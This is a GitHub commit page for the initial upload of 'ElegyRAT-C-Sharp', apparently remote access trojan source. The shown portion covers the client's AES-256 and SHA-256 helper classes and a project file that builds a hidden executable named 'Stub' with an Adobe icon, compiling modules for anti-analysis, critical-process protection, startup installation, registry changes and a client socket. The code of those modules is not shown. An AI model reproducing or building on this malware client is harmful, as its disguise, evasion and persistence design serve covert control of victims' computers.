Skip to content

Commit a989e9c

Browse files
we1h0we1h0
committed
We1h0
Initial upload
1 parent 08e1203 commit a989e9c

File tree

438 files changed

+45678
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

438 files changed

+45678
-0
lines changed

‎ElegyRAT-C-Sharp/.vs/ElegyRAT-Sharp/v16/.suo

351 KB
Binary file not shown.

‎ElegyRAT-C-Sharp/Client/2.ico

298 KB
Binary file not shown.

‎ElegyRAT-C-Sharp/Client/Algorithm/Aes256.cs

Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.IO;
4+
using System.Linq;
5+
using System.Runtime.CompilerServices;
6+
using System.Security.Cryptography;
7+
using System.Text;
8+
9+
namespace Client.Algorithm
10+
{
11+
public class Aes256
12+
{
13+
private const int KeyLength = 32;
14+
private const int AuthKeyLength = 64;
15+
private const int IvLength = 16;
16+
private const int HmacSha256Length = 32;
17+
private readonly byte[] _key;
18+
private readonly byte[] _authKey;
19+
20+
private static readonly byte[] Salt =
21+
{
22+
0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56,
23+
0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
24+
};
25+
26+
public Aes256(string masterKey)
27+
{
28+
if (string.IsNullOrEmpty(masterKey))
29+
throw new ArgumentException($"{nameof(masterKey)} can not be null or empty.");
30+
31+
using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000))
32+
{
33+
_key = derive.GetBytes(KeyLength);
34+
_authKey = derive.GetBytes(AuthKeyLength);
35+
}
36+
}
37+
38+
public string Encrypt(string input)
39+
{
40+
return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
41+
}
42+
43+
/* FORMAT
44+
* ----------------------------------------
45+
* | HMAC | IV | CIPHERTEXT |
46+
* ----------------------------------------
47+
* 32 bytes 16 bytes
48+
*/
49+
public byte[] Encrypt(byte[] input)
50+
{
51+
if (input == null)
52+
throw new ArgumentNullException($"{nameof(input)} can not be null.");
53+
54+
using (var ms = new MemoryStream())
55+
{
56+
ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC
57+
using (var aesProvider = new AesCryptoServiceProvider())
58+
{
59+
aesProvider.KeySize = 256;
60+
aesProvider.BlockSize = 128;
61+
aesProvider.Mode = CipherMode.CBC;
62+
aesProvider.Padding = PaddingMode.PKCS7;
63+
aesProvider.Key = _key;
64+
aesProvider.GenerateIV();
65+
66+
using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write))
67+
{
68+
ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext
69+
cs.Write(input, 0, input.Length);
70+
cs.FlushFinalBlock();
71+
72+
using (var hmac = new HMACSHA256(_authKey))
73+
{
74+
byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext
75+
ms.Position = 0; // write hash at beginning
76+
ms.Write(hash, 0, hash.Length);
77+
}
78+
}
79+
}
80+
81+
return ms.ToArray();
82+
}
83+
}
84+
85+
public string Decrypt(string input)
86+
{
87+
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
88+
}
89+
90+
public byte[] Decrypt(byte[] input)
91+
{
92+
if (input == null)
93+
throw new ArgumentNullException($"{nameof(input)} can not be null.");
94+
95+
using (var ms = new MemoryStream(input))
96+
{
97+
using (var aesProvider = new AesCryptoServiceProvider())
98+
{
99+
aesProvider.KeySize = 256;
100+
aesProvider.BlockSize = 128;
101+
aesProvider.Mode = CipherMode.CBC;
102+
aesProvider.Padding = PaddingMode.PKCS7;
103+
aesProvider.Key = _key;
104+
105+
// read first 32 bytes for HMAC
106+
using (var hmac = new HMACSHA256(_authKey))
107+
{
108+
var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length);
109+
byte[] receivedHash = new byte[HmacSha256Length];
110+
ms.Read(receivedHash, 0, receivedHash.Length);
111+
112+
if (!AreEqual(hash, receivedHash))
113+
throw new CryptographicException("Invalid message authentication code (MAC).");
114+
}
115+
116+
byte[] iv = new byte[IvLength];
117+
ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext
118+
aesProvider.IV = iv;
119+
120+
using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read))
121+
{
122+
byte[] temp = new byte[ms.Length - IvLength + 1];
123+
byte[] data = new byte[cs.Read(temp, 0, temp.Length)];
124+
Buffer.BlockCopy(temp, 0, data, 0, data.Length);
125+
return data;
126+
}
127+
}
128+
}
129+
}
130+
131+
/// <summary>
132+
/// Compares two byte arrays for equality.
133+
/// </summary>
134+
/// <param name="a1">Byte array to compare</param>
135+
/// <param name="a2">Byte array to compare</param>
136+
/// <returns>True if equal, else false</returns>
137+
/// <remarks>
138+
/// Assumes that the byte arrays have the same length.
139+
/// This method is safe against timing attacks.
140+
/// </remarks>
141+
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
142+
private bool AreEqual(byte[] a1, byte[] a2)
143+
{
144+
bool result = true;
145+
for (int i = 0; i < a1.Length; ++i)
146+
{
147+
if (a1[i] != a2[i])
148+
result = false;
149+
}
150+
return result;
151+
}
152+
}
153+
}

‎ElegyRAT-C-Sharp/Client/Algorithm/Sha256.cs

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
using System.Security.Cryptography;
2+
using System.Text;
3+
4+
namespace Client.Algorithm
5+
{
6+
public static class Sha256
7+
{
8+
public static string ComputeHash(string input)
9+
{
10+
byte[] data = Encoding.UTF8.GetBytes(input);
11+
12+
using (SHA256Managed sha = new SHA256Managed())
13+
{
14+
data = sha.ComputeHash(data);
15+
}
16+
17+
StringBuilder hash = new StringBuilder();
18+
19+
foreach (byte _byte in data)
20+
hash.Append(_byte.ToString("X2"));
21+
22+
return hash.ToString().ToUpper();
23+
}
24+
25+
public static byte[] ComputeHash(byte[] input)
26+
{
27+
using (SHA256Managed sha = new SHA256Managed())
28+
{
29+
return sha.ComputeHash(input);
30+
}
31+
}
32+
}
33+
}

‎ElegyRAT-C-Sharp/Client/Client.csproj

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
4+
<Import Project="..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
5+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
6+
<PropertyGroup>
7+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
8+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
9+
<ProjectGuid>{C3C49F45-2589-4E04-9C50-71B6035C14AE}</ProjectGuid>
10+
<OutputType>WinExe</OutputType>
11+
<RootNamespace>Client</RootNamespace>
12+
<AssemblyName>Stub</AssemblyName>
13+
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
14+
<FileAlignment>512</FileAlignment>
15+
<Deterministic>true</Deterministic>
16+
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
17+
<IsWebBootstrapper>false</IsWebBootstrapper>
18+
<NuGetPackageImportStamp>
19+
</NuGetPackageImportStamp>
20+
<PublishUrl>publish\</PublishUrl>
21+
<Install>true</Install>
22+
<InstallFrom>Disk</InstallFrom>
23+
<UpdateEnabled>false</UpdateEnabled>
24+
<UpdateMode>Foreground</UpdateMode>
25+
<UpdateInterval>7</UpdateInterval>
26+
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
27+
<UpdatePeriodically>false</UpdatePeriodically>
28+
<UpdateRequired>false</UpdateRequired>
29+
<MapFileExtensions>true</MapFileExtensions>
30+
<ApplicationRevision>0</ApplicationRevision>
31+
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
32+
<UseApplicationTrust>false</UseApplicationTrust>
33+
<BootstrapperEnabled>true</BootstrapperEnabled>
34+
</PropertyGroup>
35+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
36+
<PlatformTarget>x86</PlatformTarget>
37+
<DebugSymbols>true</DebugSymbols>
38+
<DebugType>full</DebugType>
39+
<Optimize>false</Optimize>
40+
<OutputPath>..\Binaries\Debug\Stub\</OutputPath>
41+
<DefineConstants>DEBUG;TRACE</DefineConstants>
42+
<ErrorReport>prompt</ErrorReport>
43+
<WarningLevel>4</WarningLevel>
44+
<DocumentationFile>
45+
</DocumentationFile>
46+
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
47+
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
48+
</PropertyGroup>
49+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
50+
<PlatformTarget>x86</PlatformTarget>
51+
<DebugType>none</DebugType>
52+
<Optimize>true</Optimize>
53+
<OutputPath>..\Binaries\Release\Stub\</OutputPath>
54+
<DefineConstants>TRACE</DefineConstants>
55+
<ErrorReport>prompt</ErrorReport>
56+
<WarningLevel>4</WarningLevel>
57+
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
58+
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
59+
<DebugSymbols>false</DebugSymbols>
60+
</PropertyGroup>
61+
<PropertyGroup>
62+
<StartupObject />
63+
</PropertyGroup>
64+
<PropertyGroup />
65+
<PropertyGroup>
66+
<ApplicationManifest>app.manifest</ApplicationManifest>
67+
</PropertyGroup>
68+
<PropertyGroup>
69+
<SignManifests>false</SignManifests>
70+
</PropertyGroup>
71+
<PropertyGroup>
72+
<ManifestCertificateThumbprint>42D511BFB6981EC00B5DE797DBC5B50B8C1C9140</ManifestCertificateThumbprint>
73+
</PropertyGroup>
74+
<PropertyGroup>
75+
<ManifestKeyFile>fql.pfx</ManifestKeyFile>
76+
</PropertyGroup>
77+
<PropertyGroup>
78+
<SignAssembly>false</SignAssembly>
79+
</PropertyGroup>
80+
<PropertyGroup>
81+
<AssemblyOriginatorKeyFile>
82+
</AssemblyOriginatorKeyFile>
83+
</PropertyGroup>
84+
<PropertyGroup>
85+
<ManifestTimestampUrl>http://timestamp.globalsign.com/scripts/timestamp.dll</ManifestTimestampUrl>
86+
</PropertyGroup>
87+
<PropertyGroup>
88+
<ApplicationIcon>adobe_128px_1210214_easyicon.net.ico</ApplicationIcon>
89+
</PropertyGroup>
90+
<ItemGroup>
91+
<Reference Include="Microsoft.VisualBasic" />
92+
<Reference Include="Microsoft.Win32.TaskScheduler, Version=2.9.0.0, Culture=neutral, PublicKeyToken=e25603a88b3aa7da, processorArchitecture=MSIL">
93+
<HintPath>..\packages\TaskScheduler.2.9.0\lib\net40\Microsoft.Win32.TaskScheduler.dll</HintPath>
94+
</Reference>
95+
<Reference Include="System" />
96+
<Reference Include="Microsoft.CSharp" />
97+
<Reference Include="System.Data" />
98+
<Reference Include="System.Drawing" />
99+
<Reference Include="System.Management" />
100+
<Reference Include="System.Security" />
101+
<Reference Include="System.Windows.Forms" />
102+
<Reference Include="System.XML" />
103+
</ItemGroup>
104+
<ItemGroup>
105+
<Compile Include="Algorithm\Aes256.cs" />
106+
<Compile Include="Algorithm\Sha256.cs" />
107+
<Compile Include="Handle Packet\Packet.cs" />
108+
<Compile Include="Helper\Anti_Analysis.cs" />
109+
<Compile Include="Helper\HwidGen.cs" />
110+
<Compile Include="Helper\IdSender.cs" />
111+
<Compile Include="Helper\Methods.cs" />
112+
<Compile Include="Helper\MutexControl.cs" />
113+
<Compile Include="Helper\NativeMethods.cs" />
114+
<Compile Include="Helper\ProcessCritical.cs" />
115+
<Compile Include="Helper\SetRegistry.cs" />
116+
<Compile Include="Install\NormalStartup.cs" />
117+
<Compile Include="Program.cs" />
118+
<Compile Include="Properties\AssemblyInfo.cs" />
119+
<Compile Include="Settings.cs" />
120+
<Compile Include="Connection\ClientSocket.cs" />
121+
</ItemGroup>
122+
<ItemGroup>
123+
<None Include="app.config" />
124+
<None Include="app.manifest" />
125+
<None Include="ILMerge.props" />
126+
<None Include="packages.config" />
127+
</ItemGroup>
128+
<ItemGroup>
129+
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
130+
<Visible>False</Visible>
131+
<ProductName>.NET Framework 3.5 SP1</ProductName>
132+
<Install>false</Install>
133+
</BootstrapperPackage>
134+
</ItemGroup>
135+
<ItemGroup>
136+
<Content Include="2.ico" />
137+
<Content Include="adobe_128px_1210214_easyicon.net.ico" />
138+
<Content Include="ILMergeOrder.txt" />
139+
</ItemGroup>
140+
<ItemGroup>
141+
<ProjectReference Include="..\MessagePack\MessagePackLib.csproj">
142+
<Project>{dc199d9e-cf10-41dd-bbcd-98e71ba8679d}</Project>
143+
<Name>MessagePackLib</Name>
144+
</ProjectReference>
145+
</ItemGroup>
146+
<ItemGroup>
147+
<COMReference Include="TaskScheduler">
148+
<Guid>{E34CB9F1-C7F7-424C-BE29-027DCC09363A}</Guid>
149+
<VersionMajor>1</VersionMajor>
150+
<VersionMinor>0</VersionMinor>
151+
<Lcid>0</Lcid>
152+
<WrapperTool>tlbimp</WrapperTool>
153+
<Isolated>False</Isolated>
154+
<EmbedInteropTypes>True</EmbedInteropTypes>
155+
</COMReference>
156+
</ItemGroup>
157+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
158+
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
159+
<PropertyGroup>
160+
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
161+
</PropertyGroup>
162+
<Error Condition="!Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
163+
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
164+
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
165+
</Target>
166+
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
167+
</Project>

‎ElegyRAT-C-Sharp/Client/Client.csproj.user

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup>
4+
<PublishUrlHistory>publish\</PublishUrlHistory>
5+
<InstallUrlHistory />
6+
<SupportUrlHistory />
7+
<UpdateUrlHistory />
8+
<BootstrapperUrlHistory />
9+
<ErrorReportUrlHistory />
10+
<FallbackCulture>zh-CN</FallbackCulture>
11+
<VerifyUploadedFiles>false</VerifyUploadedFiles>
12+
</PropertyGroup>
13+
</Project>

0 commit comments

Comments
 (0)